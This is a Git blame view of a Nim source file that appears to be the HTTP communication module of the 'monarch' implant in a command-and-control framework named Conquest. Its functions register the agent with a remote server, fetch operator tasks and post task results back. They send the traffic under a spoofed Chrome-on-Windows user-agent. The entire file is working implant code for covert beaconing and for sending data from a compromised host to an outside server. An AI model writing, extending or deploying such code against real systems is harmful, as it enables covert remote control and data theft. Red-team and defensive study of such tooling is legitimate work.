Files
conquest/src/agents/monarch/core/http.nim

84 lines
2.5 KiB
Nim
Raw Normal View History

2025-05-19 21:56:34 +02:00
import httpclient, json, strformat, asyncdispatch
import ../../../common/[types, utils]
2025-05-19 21:56:34 +02:00
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
2025-05-19 21:56:34 +02:00
proc register*(config: AgentConfig, registrationData: seq[byte]): bool {.discardable.} =
2025-05-19 21:56:34 +02:00
let client = newAsyncHttpClient(userAgent = USER_AGENT)
2025-05-19 21:56:34 +02:00
# Define HTTP headers
client.headers = newHttpHeaders({
"Content-Type": "application/octet-stream",
"Content-Length": $registrationData.len
})
let body = registrationData.toString()
2025-05-19 21:56:34 +02:00
try:
# Register agent to the Conquest server
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/register", body)
except CatchableError as err:
echo "[-] [register]:", err.msg
2025-05-19 21:56:34 +02:00
quit(0)
2025-05-19 21:56:34 +02:00
finally:
client.close()
return true
proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string =
2025-05-19 21:56:34 +02:00
let client = newAsyncHttpClient(userAgent = USER_AGENT)
var responseBody = ""
2025-05-19 21:56:34 +02:00
# Define HTTP headers
client.headers = newHttpHeaders({
"Content-Type": "application/octet-stream",
"Content-Length": $checkinData.len
})
let body = checkinData.toString()
try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
responseBody = waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/tasks", body)
return responseBody
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [getTasks]: " & err.msg
finally:
client.close()
2025-05-19 21:56:34 +02:00
return ""
2025-05-19 21:56:34 +02:00
proc postResults*(config: AgentConfig, resultData: seq[byte]): bool {.discardable.} =
let client = newAsyncHttpClient(userAgent = USER_AGENT)
# Define headers
client.headers = newHttpHeaders({
"Content-Type": "application/octet-stream",
"Content-Length": $resultData.len
})
let body = resultData.toString()
echo body
try:
# Send binary task result data to server
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/results", body)
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [postResults]: " & err.msg
return false
finally:
client.close()
return true